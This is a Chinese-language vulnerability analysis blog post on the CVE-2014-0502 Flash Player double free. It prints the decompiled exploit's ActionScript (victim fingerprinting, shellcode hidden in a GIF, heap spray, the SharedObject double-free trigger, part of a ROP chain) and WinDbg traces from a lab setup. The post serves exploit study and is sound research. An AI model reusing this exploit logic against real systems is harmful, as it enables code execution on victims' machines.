<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    各大網站最詳盡CVE-2014-0502 Adobe Flash Player雙向釋放出來系統漏洞剖析

    VSole2021-11-08 15:42:24

    1、前言

    這次分析了CVE-2014-0502 Adobe Flash Player中的雙重釋放漏洞。文章的前半部分是Action Script代碼的靜態分析以及對于漏洞利用原理的一個初步分析,AS代碼分析和書中內容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作機制,通過搜索查看網上的資料完成了前半部分的內容。

    后半部分集中在漏洞的動態調試上,目標是為了確定該漏洞在內存操作上的利用原理。由于雙重釋放的內存并不在堆中,而且沒有在網上找到相關數據結構的資料,對于漏洞本身,網上能夠找到的分析文章也并不深入(最詳細的就是參考資料3了),因此分析過程并不順利。最終通過斷點調試、內存數據分析以及IDA靜態代碼的分析,得到了一個猜想上的結論(或許是關鍵字的原因,我并沒有找到相關內存機制的資料)。

    2、靜態代碼分析

    根據書中的描述,攻擊者利用該漏洞構造了一個swf文件,并將文件嵌入網頁中誘導用戶訪問,實現漏洞利用。之前分析過CVE-2011-2110,是Adobe Flash Player中的數組越界訪問漏洞,使用了JPEXS Free Flash Decompiler工具對swf文件進行反編譯,這次使用同樣的方法。在書籍配套資料中提供了構造好的swf文件cc.swf,拖入工具中查看反編譯結果。

    自動生成的反編譯結果中有很多特殊字符,因此我根據每個函數或變量的功能對其名稱進行了修改。

    2.1 輔助函數分析

    首先對代碼中幾個子功能輔助函數進行分析:

    2.1.1 系統環境判斷函數

    public function detect_sys() : int {   var version:* = null;   var VerInt:Number = NaN;   var os:String = Capabilities.os.toLowerCase();   var language:String = Capabilities.language.toLowerCase();   // 如果是xp系統,根據語言不同得到不同返回值   if(os == "windows xp") {       if(language == "zh-cn") {         return 1;      }      if(language == "en") {         return 2;      }      if(language == "zh-tw") {         return 3;      }      return 0;   }   // 如果是win7系統,會執行checkversion()函數   if(os == "windows 7") {      ExternalInterface.call("eval","function checkversion(){  var result;  var ua=window.navigator.userAgent.toLowerCase();  var temp=ua.replace(/ /g,\"\");  {    if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1)    {      var java6=0;      var java7=0;      var a=0;      var b=0;      try {        java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\");       } catch(e){}      try {        java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\");       } catch(e){}      if(java6&&!java7)      {        return \"16\";      }      try {        a=new ActiveXObject(\"SharePoint.OpenDocuments.4\");      } catch(e){}      try {        b=new ActiveXObject(\"SharePoint.OpenDocuments.3\");      } catch(e){}            if((typeof a)==\"object\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"10\";      }      else if((typeof a)==\"number\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"07\";      }     }   }      return \"0\";}");      version = ExternalInterface.call("eval","checkversion()");      trace(version);      return Number(parseInt(version,10));   }   return 0;}
    

    從代碼可以看出這個漏洞利用代碼針對的是xp系統中的中文版、中國臺灣版以及英文版,win7系統會進一步執行checkversion()函數,該函數如下:

    function checkversion() {    var result;    var ua = window.navigator.userAgent.toLowerCase();    var temp = ua.replace(/ /g,  "");     {           if(temp.indexOf("nt6.1") > -1 && temp.indexOf("msie") > -1 && temp.indexOf("msie10.0") == -1) {                 var java6 = 0;                 var java7 = 0;                 var a = 0;                 var b = 0;                 try {                       java6 = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");                  } catch(e) {}                 try {                       java7 = new ActiveXObject("JavaWebStart.isInstalled.1.7.0.0");                  } catch(e) {}             // 如果安裝了java1.6,且未安裝java1.7,返回16            if(java6 && !java7) {                       return "16";                 }                 try {                       a = new ActiveXObject("SharePoint.OpenDocuments.4");                 } catch(e) {}                try {                       b = new ActiveXObject("SharePoint.OpenDocuments.3");                 } catch(e) {}                // 安裝了office 2010            if((typeof a)=="object" && (typeof b)=="object") {                       try {                             location.href = 'ms-help://'                       } catch(e) {};                       return "10";              // 安裝了office 2007            } else if((typeof a)=="number" && (typeof b)=="object") {                       try {                             location.href = 'ms-help://'                       } catch(e) {};                       return "07";                 }            }      }         return "0";}
    

    2.1.2 事件監聽函數

    這個函數用于在圖片加載完成后執行:

    public function listener(e:Event) : void {   var bytes:ByteArray = new ByteArray();   // bytes的內容為logo.gif數據   bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);   bytes.position = bytes.length - 4;   bytes.endian = "littleEndian";   var len:uint = bytes.readUnsignedInt();  // 最后四個字節是shellcode長度   var shellbytes:ByteArray = new ByteArray();   // 讀取shellcode內容   shellbytes.writeBytes(bytes,bytes.length - 4 - len,len);   shellbytes.position = 0;   // 設置共享變量mpsc為shellcode內容   worker.setSharedProperty("mpsc",shellbytes);   worker.start();}
    

    通過該函數可以看到shellcode的內容就保存在要加載的圖片中,其中最后四個字節保存的是shellcode的長度,根據該數據前向讀取,獲得shellcode的內容放入mpsc屬性中。

    2.1.3 設置cookie值

    為了便于判斷之前是否進行過漏洞利用,程序設置了cookie值。XPT20131111:

    public function cookie_func() : * {   ExternalInterface.call("eval","function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}");   var ret:String = ExternalInterface.call("eval","CanIFuck()");   return parseInt(ret,10);}
    

    里面的代碼內容整理后得到:

    function setcookie() {    var Then = new Date();    Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );    document.cookie = "Cookie1=XPT20131111; expires=" + Then.toGMTString();}function CanIFuck() {    var cookieString = new String(document.cookie);    if (cookieString.indexOf("XPT20131111") == -1) {        setcookie();        return 1;    } else {        return 0;    }}
    

    2.1.4 堆噴射函數

    堆噴射函數使用提供的參數構造一個大小為1MB的字節數組:

    public static function heap_spray(val:*) : * {   var temp:* = null;   bytes = new ByteArray();   bytes.writeBytes(val);   // 成倍擴大bytes數組到1MB   while(bytes.length < 0x100000) {      temp = new ByteArray();      temp.writeBytes(bytes);      bytes.writeBytes(temp);   }} public static function heap_spray_func(val:*, size:*) : * {   if(null == bytes_array) {      bytes_array = [];   }   t = size;   heap_spray(val);}
    

    2.1.5 漏洞利用準備函數

    public function gen_exp() : void {   var exp:String = "AAAA";   while(exp.length < 102400)   {      exp += exp;   }   var sobj:SharedObject = SharedObject.getLocal("record");   sobj.data.logs = exp;}
    

    這個函數創建了一個共享對象record。

    2.2 主函數分析

    public function cc() {   var loader:* = null;   var shellbytes:* = null;   var val:* = null;   var j:* = undefined;   var i:* = undefined;   var block1:* = null;   i = undefined;   var block:* = null;   var rop:* = null;   str = new String();   super();   if(Worker.current.isPrimordial) {  // primordial worker      // 檢查是否設置了cookie值XPT20131111,未設置則繼續執行,否則返回      if(cookie_func() == 0) {         return;      }      sys = detect_sys();  // 檢查系統環境      if(sys == 0) {  // 系統為xp,且語言非中文、中國臺灣、英文,則返回         return;      }      loader = new URLLoader();      loader.dataFormat = "binary";      // 完成加載后執行listener函數      // listener函數用于讀取logo.gif中保存的shellcode      loader.addEventListener("complete",listener);       loader.load(new URLRequest("logo.gif"));  // 加載圖片logo.gif      // 創建background worker      worker = WorkerDomain.current.createWorker(loaderInfo.bytes);      worker.setSharedProperty("version",sys);   } else {     // background worker入口點      sys = Worker.current.getSharedProperty("version");      shellbytes = Worker.current.getSharedProperty("mpsc");      val = new ByteArray();      val.endian = "littleEndian";      var sc_len:uint = 0;      // 構造大小為32KB,包含shellcode的基礎數據      for(i = 0; i < 0xc0c; ) {         val.writeByte(0x90 + i);         i++;      }      val.writeBytes(shellbytes);      for(i = val.length; i < 0x10000; ) {         val.writeByte(0x90 + i);         i++;      }      // 通過堆噴射函數擴展數據到1MB      heap_spray_func(val,0xFFFDC);      // 繼續堆噴射,構造約224MB的數據      block1 = new ByteArray();      block1.writeBytes(bytes,0,0xFFFDC);      bytes_array.push(block1);      bytes = null;      for(i = 0; i < 0xe0; ) {         block = new ByteArray();         block.writeBytes(block1,0,0xFFFDC);         bytes_array.push(block);         i++;      }      // 漏洞利用準備,創建共享對象record      gen_exp();       // 根據不同系統環境構造不同rop      if(sys == 7) {         rop = gen_rop3();         rop.toString();      }      else if(sys == 10) {         rop = gen_rop2();         rop.toString();      }      else if(sys == 16) {         rop = gen_rop();         rop.toString();      }      else if(sys == 1 || sys == 2 || sys == 3) {         rop = gen_rop4();         rop.toString();      }      Worker.current.terminate();  // 結束當前進程,會釋放共享對象record   }}
    

    2.3 漏洞利用原理初步分析

    以上的代碼分析只是對整個漏洞利用流程有一個初步的了解,但是對于問題的根源——漏洞利用原理,仍然不甚清楚。

    為了理解為什么上面的代碼會觸發雙重釋放漏洞,需要對Action Script有一定的了解,為此我查看了一下Action Script的手冊(參考資料1)。

    2.3.1 Worker的概念

    AS通過Worker的實現了線程同步的概念,每個worker在一個單獨的線程中執行它的代碼。創建Worker對象不需要調用Worker()構造函數,在支持Worker同步的環境下,程序一開始會自動為主SWF創建一個Worker,即上面代碼中提到的primordial worker。

    如果想要創建其他的worker,有很多種方法,具體可以參考手冊中的內容。而上面代碼中的寫法就是其中的一種方法,使用同一swf文件同時作為primordial worker和background worker,通過條件判斷的方式判斷當前是哪個worker。

    每個worker都獨立執行,它們有不同的內存空間、變量和代碼,但是可以使用共享屬性(Shared properties)、MessageChannel以及可共享的ByteArray進行通信。

    2.3.2 SharedObject的概念

    SharedObject可以用于在本地及遠程讀取和保存有限數量的數據。在此次的程序代碼中,使用SharedObject.getLocal("record");創建了一個叫做record的本地共享對象。

    根據手冊中的說法,共享對象會在以下幾種情況下進行flush,即寫入本地文件的操作:

    (1)直接調用flush()函數

    (2)共享對象的會話結束時:

    1. ① SWF文件關閉的時候
    2. ② 沒有任何引用進行垃圾回收的時候
    3. ③ 調用SharedObject.clear()或者SharedObject.close()

    2.3.3 觸發雙重釋放的原因

    在background worker的代碼中,調用了gen_exp()函數,在該函數中,通過var sobj:SharedObject = SharedObject.getLocal("record");創建了record共享對象,但是函數結束之后,對于該共享對象的引用就結束了,(在后期查看資料時,根據參考資料4,此時不會發生垃圾回收,因此不會發生flush操作,但是此時共享對象已經準備好被垃圾回收了);

    在background worker代碼結束的位置,執行了Worker.current.terminate();函數,這句代碼直接結束了當前的worker,理論上也會導致共享對象發生flush操作(除此之外,由于worker結束,會進行垃圾回收,垃圾回收同樣會導致flush操作的發生)。

    更深層次的原因我在參考資料2的這篇論文中找到了,在進行flush操作的時候,AVM會進行兩個檢查:

    (1)檢查對象的pending flush標簽,確認共享對象中有數據需要寫入。

    (2)檢查當前域的最大允許存儲空間。

    如果設置了pending flush標簽,而且數據大小沒有超過最大允許存儲空間的范圍,就會進行flush操作,并且重置標簽;如果沒有足夠的空間,flush操作不會成功,標簽也不會重置。

    根據我們上面的分析,代碼中理論上可以發生針對同一共享對象的兩次flush操作,而這個record共享對象的大小超過了空間限制。

    參考資料2中的描述其實援引自參考資料3,這里面說,當沒有足夠空間的時候,雖然flush操作沒有成功,但是符合空間要求的那部分數據已經進行了寫入并進行了空間釋放,但是由于flush沒成功,pending flush的標簽沒有重置,這也就允許了第二次flush的發生,從而導致了雙重釋放。

    以上,通過對代碼的靜態分析,我們得出了一個理論上的雙重釋放漏洞利用原理分析。接下來還是使用分析CVE-2011-2110的方法,對這個代碼進行一個動態的分析調試,從而確認以上理論結果的正確性。

    3、漏洞的動態調試分析

    注:不知道是不是環境的問題,我在調試過程中得到的輸出結果和書中的大為不同,因此分析步驟也有所差異。

    3.1 確定ROP進入位置

    3.1.1 初步定位

    環境搭建:

    服務器:Windows 7 sp0 64bits, 192.168.6.198

    客戶端:Windows XP sp3, IE 6.0.2900, flashplayer11_7r700_261_winax_debug.exe, 192.168.6.209

    使用phpstudy在服務端安裝好相應的服務,將cc.swf和logo.gif放在根目錄,然后在客戶端打開IE并使用windbg附加,訪問192.168.6.198/cc.swf,程序中斷:

    (ac0.ff0): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=0394fa1ceip=77bf200d esp=0394fa18 ebp=0394fa44 iopl=0         ov up ei pl nz na pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a07MSACM32_77be0000!_pRawDllMain  (MSACM32_77be0000+0x1200d):77bf200d 000500030000    add     byte ptr ds:[300h],al      ds:0023:00000300=??
    

    這個中斷的位置比較奇怪,看起來是在一個DLL的內部,所以很容易想到可能是中斷在了ROP的執行過程中,由于環境問題,硬編碼在程序中的地址出現了問題。

    因為現在是XP的環境,根據上面靜態分析可知,在簡體中文版XP環境時,detect_sys函數返回值應該是1。看一下此時用于生成ROP的函數gen_rop4():

    public function gen_rop4() : ByteArray {   var baseaddr:int = 0;   var i:* = undefined;   if(sys == 1) {      baseaddr = 2008940544;   // 77be0000  簡體中文版   }   else if(sys == 2) {      baseaddr = 2009137152;   // 77c10000   }   else if(sys == 3) {      baseaddr = 2008940544;   // 77be0000   }   var rop:ByteArray = new ByteArray();   rop.endian = "littleEndian";   rop.writeMultiByte("FILL","iso-8859-1");   rop.writeUnsignedInt(171922 + baseaddr);  // 77C09F92   rop.writeUnsignedInt(71891 + baseaddr);   // 77BF18D3   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5   rop.writeUnsignedInt(0xe0913 + baseaddr); // 77CC0913   rop.writeUnsignedInt(513);                // 201   rop.writeUnsignedInt(248825 + baseaddr);  // 77C1CBF9   rop.writeUnsignedInt(64);   ...   rop.writeUnsignedInt(2425411327);   for(i = rop.length; i < 204; ) {      rop.writeByte(0x90);      i++;   }   return rop;}
    

    中斷的地址77bf200d距離77BF18D3蠻近的,但是也不確定是不是就是這里出現的問題。

    看一下函數調用流程:

    0:019> kbChildEBP RetAddr  Args to Child             0394fa44 10101815 00000000 00000000 00000000 MSACM32_77be0000!_pRawDllMain  (MSACM32_77be0000+0x1200d)WARNING: Stack unwind information not available. Following frames may be wrong.0394fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x1018150394faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x1030750394fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a0394fb08 100fe0fd 00000000 031b2000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a0394fb1c 1015e803 7c809832 031b2000 031b2000 Flash32_11_7_700_261+0xfe0fd0394fb6c 10210898 00000001 7c809832 031b2000 Flash32_11_7_700_261+0x15e8030394fb80 10210e84 02c2d000 10210ebc 0394ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f0394fb88 10210ebc 0394ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b0394fb90 1003c391 00000001 031b2000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c30394ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c39100000000 00000000 00000000 00000000 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe7ac6
    

    很好,看來至少前面的函數幀都是Flash中的代碼,看一下第一個函數處的代碼:

    0:019> ub Flash32_11_7_700_261+0x101815Flash32_11_7_700_261+0x101804:10101804 10d9            adc     cl,bl10101806 ee              out     dx,al10101807 53              push    ebx10101808 51              push    ecx10101809 51              push    ecx1010180a dd1c24          fstp    qword ptr [esp]1010180d ff7508          push    dword ptr [ebp+8]10101810 e821f9ffff      call    Flash32_11_7_700_261+0x101136 (10101136)
    

    有了這個位置之后,我們可以重新調試,在10101810的位置下斷(重命名此處調用的函數為rop_func),然后跟進看看函數是怎么到達77bf200d這個中斷位置的。

    程序中斷在10101810之后,可以建立一個快照,然后F5,發現程序在這里一共中斷了4次。因此回到一開始的快照,然后中斷四次后就停下來步入。

    3.1.2 解決遇到的問題

    但是接下來我遇到了一個問題,步入之后,程序在這個函數正常的執行,然后跳出來了。

    其實出現這個問題的原因特別特別簡單,但是當時我就沒想到……

    為了找出問題的原因,我在IDA中打開Flash32_11_7_700_261.ocx文件,然后定位到Flash32_11_7_700_261+0x101136這個函數,在多個跳轉位置(就是IDA中標記了loc_xxxx的位置)下了斷點:

    0:020> bl 0 e 76b5d038     0001 (0001)  0:**** WINMM!midiOutPlayNextPolyEvent // 這個是之前調試其他問題留下的,忽略它 1 e 10101810     0001 (0001)  0:**** Flash32_11_7_700_261+0x101810 2 e 10101136     0001 (0001)  0:**** Flash32_11_7_700_261+0x101136  // 函數在這里開始 3 e 10101153     0001 (0001)  0:**** Flash32_11_7_700_261+0x101153 4 e 10101173     0001 (0001)  0:**** Flash32_11_7_700_261+0x101173 5 e 10101199     0001 (0001)  0:**** Flash32_11_7_700_261+0x101199 6 e 101011b3     0001 (0001)  0:**** Flash32_11_7_700_261+0x1011b3 7 e 101011f2     0001 (0001)  0:**** Flash32_11_7_700_261+0x1011f2 8 e 1010122e     0001 (0001)  0:**** Flash32_11_7_700_261+0x10122e 9 e 10101261     0001 (0001)  0:**** Flash32_11_7_700_261+0x10126110 e 10101265     0001 (0001)  0:**** Flash32_11_7_700_261+0x10126511 e 1010126b     0001 (0001)  0:**** Flash32_11_7_700_261+0x10126b12 e 101012a8     0001 (0001)  0:**** Flash32_11_7_700_261+0x1012a813 e 101012da     0001 (0001)  0:**** Flash32_11_7_700_261+0x1012da14 e 101012f3     0001 (0001)  0:**** Flash32_11_7_700_261+0x1012f315 e 1010116e     0001 (0001)  0:**** Flash32_11_7_700_261+0x10116e16 e 10101299     0001 (0001)  0:**** Flash32_11_7_700_261+0x10129917 e 1010114c     0001 (0001)  0:**** Flash32_11_7_700_261+0x10114c  // 函數在這里退出
    

    然后不斷F5,記錄下中斷的位置(以下不是直接輸出內容,做了整理):

    Breakpoint 2 hitBreakpoint 3 hitBreakpoint 4 hitBreakpoint 5 hitBreakpoint 6 hitBreakpoint 7 hitBreakpoint 8 hitBreakpoint 10 hitBreakpoint 11 hitBreakpoint 16 hitBreakpoint 17 hitBreakpoint 5 hitBreakpoint 6 hit// 然后就中斷在異常位置了
    

    注意到在程序中斷在第17個斷點之后,就會從該函數返回,但是之后程序又到達了函數代碼處,卻沒有在第2個斷點,即函數開始位置中斷,而是直接中斷在了第5個斷點處。

    為啥會直接執行到第5個斷點這里呢?之后我又多設置了幾個斷點,這里不再貼出過程,總之我真的是突然靈光一閃,意識到這個函數它嵌套了!

    當程序第一次中斷在第5個斷點時,看一下函數調用流程:

    0:020> kbChildEBP RetAddr  Args to Child             WARNING: Stack unwind information not available. Following frames may be wrong.03a4f81c 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x10119903a4f848 10103075 00000000 02aa41c0 02aa41c0 Flash32_11_7_700_261+0x10181503a4f8d0 102dff93 02aa41c0 102e0063 02acf1b0 Flash32_11_7_700_261+0x10307503a4f8d8 102e0063 02acf1b0 1014bc69 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a03a4f8e0 1014bc69 00000000 0334d308 03bf6a80 Flash32_11_7_700_261!DllUnregisterServer+0xed36a03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc6903a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d7403a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c0903a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe393303a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb633903a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x10119603a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815   // 看這里!!!03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x10307503a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e803
    

    可以發現函數的嵌套調用。

    3.1.3 繼續定位

    解決了這個問題之后就簡單了,還是回到第五個斷點處,第二次中斷之后,可以繼續單步,然后到達了這里:

    0:020> peax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1ceip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202Flash32_11_7_700_261+0x1011c2:101011c2 ff5008          call    dword ptr [eax+8]    ds:0023:02aa4298=77bf18d3
    

    程序調用了[eax+8],也就是77bf18d3,這就是ROP中的一個地址啊。看一下eax處的內容:

    0:020> dd eax02aa4290  00000000 77c09f92 77bf18d3 77c064d502aa42a0  77c064d5 77c16e91 00000201 77c1cbf902aa42b0  00000040 77bfc343 77c305b5 77bf3b4702aa42c0  77c09f92 77c04d9a 77bfaacc 77bf1d1602aa42d0  77be1131 77c267f0 77c21025 0c0c08b802aa42e0  04c0830c 90903881 f5749090 20b8f08b02aa42f0  8b77be11 05b56800 406a77c3 0020006802aa4300  d0ff5600 9090d6ff 90909090 90909090
    

    這里就是ROP中的內容。

    所以這里就是ROP進入的位置了,接下來要確定程序是如何改變這里的數據內容的。

    3.2 ROP進入位置的數據分析

    現在我們知道程序會在101011c2 ff5008 call dword ptr [eax+8]的位置跳轉到ROP執行,但是這里原本的內容是什么呢?

    可以回到程序第一次中斷在第5個斷點的時候,繼續單步到達0x101011c2的位置。

    0:020> peax=10c3d06c ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4f7f4eip=101011c2 esp=03a4f7f4 ebp=03a4f81c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202Flash32_11_7_700_261+0x1011c2:101011c2 ff5008          call    dword ptr [eax+8]    ds:0023:10c3d074=10073c89
    

    從call dword ptr [eax+8]這種調用格式來看,這里應該是在調用對象的虛函數,所以可以看一下ecx的內容,這里通常保存了this指針。

    0:020> ddp ecx02aa41c0  10c3d06c 102e005b Flash32_11_7_700_261!DllUnregisterServer+0xed36202aa41c4  0000000002aa41c8  0369a000 10bbbd10 Flash32_11_7_700_261!AdobeCPGetAPI+0x3d949002aa41cc  02a60ee0 3239312f 02aa41d0  0000001c02aa41d4  0000001d02aa41d8  02a55be0 6f63657202aa41dc  0000000602aa41e0  0000000702aa41e4  0000000002aa41e8  00000000...
    

    上面的第四個值和第七個值看起來很像ASCII,所以再看一下:

    0:020> dda ecx02aa41c0  10c3d06c "["02aa41c4  0000000002aa41c8  0369a000 "...."02aa41cc  02a60ee0 "/192.168.6.198/record/cc.swf"02aa41d0  0000001c02aa41d4  0000001d02aa41d8  02a55be0 "record"02aa41dc  0000000602aa41e0  0000000702aa41e4  0000000002aa41e8  0000000002aa41ec  0000000002aa41f0  0000000002aa41f4  0000000002aa41f8  0000000002aa41fc  02a97290 "C:/Documents and Settings/test/Application Data/Macrome"02aa4200  0000006702aa4204  0000006802aa4208  02a5eca0 "C:/Documents and Settings/test/Application Data/Macrome"02aa420c  0000007f02aa4210  0000008002aa4214  0000000002aa4218  0000000002aa421c  0000000002aa4220  02a7b4f0 "C:/Documents and Settings/test/Application Data/Macrome"02aa4224  0000005502aa4228  0000005602aa422c  02b013a0 "C:/Documents and Settings/test/Application Data/Macrome"02aa4230  0000006d02aa4234  0000006e02aa4238  0000000002aa423c  00000000
    

    上面的路徑字符串沒有完全打印出來:

    0:020> da 02a9729002a97290  "C:/Documents and Settings/test/A"02a972b0  "pplication Data/Macromedia/Flash"02a972d0  " Player/192.168.6.198/cc.swf/rec"02a972f0  "ord.sol"0:020> da 02a5eca002a5eca0  "C:/Documents and Settings/test/A"02a5ecc0  "pplication Data/Macromedia/Flash"02a5ece0  " Player/#SharedObjects/8285T5QE/"02a5ed00  "192.168.6.198/cc.swf/record.sol"
    

    所以基本可以判斷這里在對record對象進行操作,而代碼中唯一和record有關的語句就是:

    var sobj:SharedObject = SharedObject.getLocal("record");
    

    除了查看ecx的內容之外,注意eax的值為10c3d06c。意外的是這個位置是可以在IDA中找到的:

    .rdata:10C3D06C 5B 00 2E 10  off_10C3D06C    dd offset sub_102E005B  ; DATA XREF: sub_102DFF63+16↑o.rdata:10C3D06C                                                                       ; sub_102DFF85+3↑o.rdata:10C3D070 11 30 10 10  dd offset sub_10103011.rdata:10C3D074 89 3C 07 10  dd offset ?Id@SchedulerBase@details@Concurrency@@UBEIXZ ; Concurrency::details::SchedulerBase::Id(void).rdata:10C3D078 D9 13 2E 10  dd offset sub_102E13D9.rdata:10C3D07C 77 00 2E 10  dd offset sub_102E0077.rdata:10C3D080 44 03 2E 10  dd offset sub_102E0344.rdata:10C3D084 8E 04 2E 10  dd offset sub_102E048E.rdata:10C3D088 A1 D2 1B 10  dd offset nullsub_2.rdata:10C3D08C C5 06 2E 10  dd offset sub_102E06C5.rdata:10C3D090 9B FF 2D 10  dd offset sub_102DFF9B
    

    所以[eax+8]實際上應該要調用Concurrency::details::SchedulerBase::Id(void)函數,看起來這個函數和同步有關。

    接下來F5繼續執行,第二次中斷在第5個斷點,還是單步到101011c2的位置:

    0:020> peax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1ceip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202Flash32_11_7_700_261+0x1011c2:101011c2 ff5008          call    dword ptr [eax+8]    ds:0023:02aa4298=77bf18d3
    

    看一下ecx處的數據(注意這里ecx的值和上一次中斷的值是一樣的,所以仍舊是record對象):

    0:020> dd ecx02aa41c0  02aa4290 00000000 0369a000 0000000002aa41d0  00000000 00000000 00000000 0000000002aa41e0  00000000 00000000 00000000 0000000002aa41f0  00000000 00000000 00000000 0000000002aa4200  00000000 00000000 00000000 0000000002aa4210  00000000 00000000 00000000 0000000002aa4220  00000000 00000000 00000000 0000000002aa4230  00000000 00000000 00000000 00000000
    

    ecx處的數據都清空了,而原本存在虛函數表的位置,即首四個字節的數據改變了,原本應該是10c3d06c,現在變成了02aa4290。

    所以現在可以確定代碼是通過漏洞利用,將record對象的虛函數表指針10c3d06c修改為了ROP所在位置02aa4290,而且在程序跳轉進入ROP的時候,record對象已經完成了析構。

    3.3 漏洞利用流程調試

    3.3.1 確定兩次flush的發生

    現在我們已經確定漏洞導致02aa41c0處的首四個字節發生變化,那么就可以在這里設置一個寫斷點。回到程序第一次中斷在第5個斷點的時候,設置寫斷點,繼續執行:

    0:020> ba w4 02aa41c00:020> gBreakpoint 3 hiteax=032f2020 ebx=00000000 ecx=02aa41c0 edx=02ad6610 esi=02aa41c0 edi=02aa41c0eip=1010311d esp=03a4f8d8 ebp=03bf6a80 iopl=0         nv up ei ng nz na pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287Flash32_11_7_700_261+0x10311d:1010311d e8effeffff      call    Flash32_11_7_700_261+0x103011 (10103011)0:020> gBreakpoint 3 hiteax=02aa41c0 ebx=7c809832 ecx=10f42c78 edx=02aa4290 esi=02aa4000 edi=00000000eip=105ab619 esp=03a4f8d0 ebp=10f42c78 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69da9:105ab619 0fb74e10        movzx   ecx,word ptr [esi+10h]   ds:0023:02aa4010=00030:020> dd 02aa41c002aa41c0  02aa4290 00000000 0369a000 0000000002aa41d0  00000000 00000000 00000000 0000000002aa41e0  00000000 00000000 00000000 0000000002aa41f0  00000000 00000000 00000000 0000000002aa4200  00000000 00000000 00000000 0000000002aa4210  00000000 00000000 00000000 0000000002aa4220  00000000 00000000 00000000 0000000002aa4230  00000000 00000000 00000000 00000000
    

    第二次中斷的時候02aa41c0處的數據修改為了02aa4290,而且record對象已經完成了析構。

    看一下此時的函數調用流程:

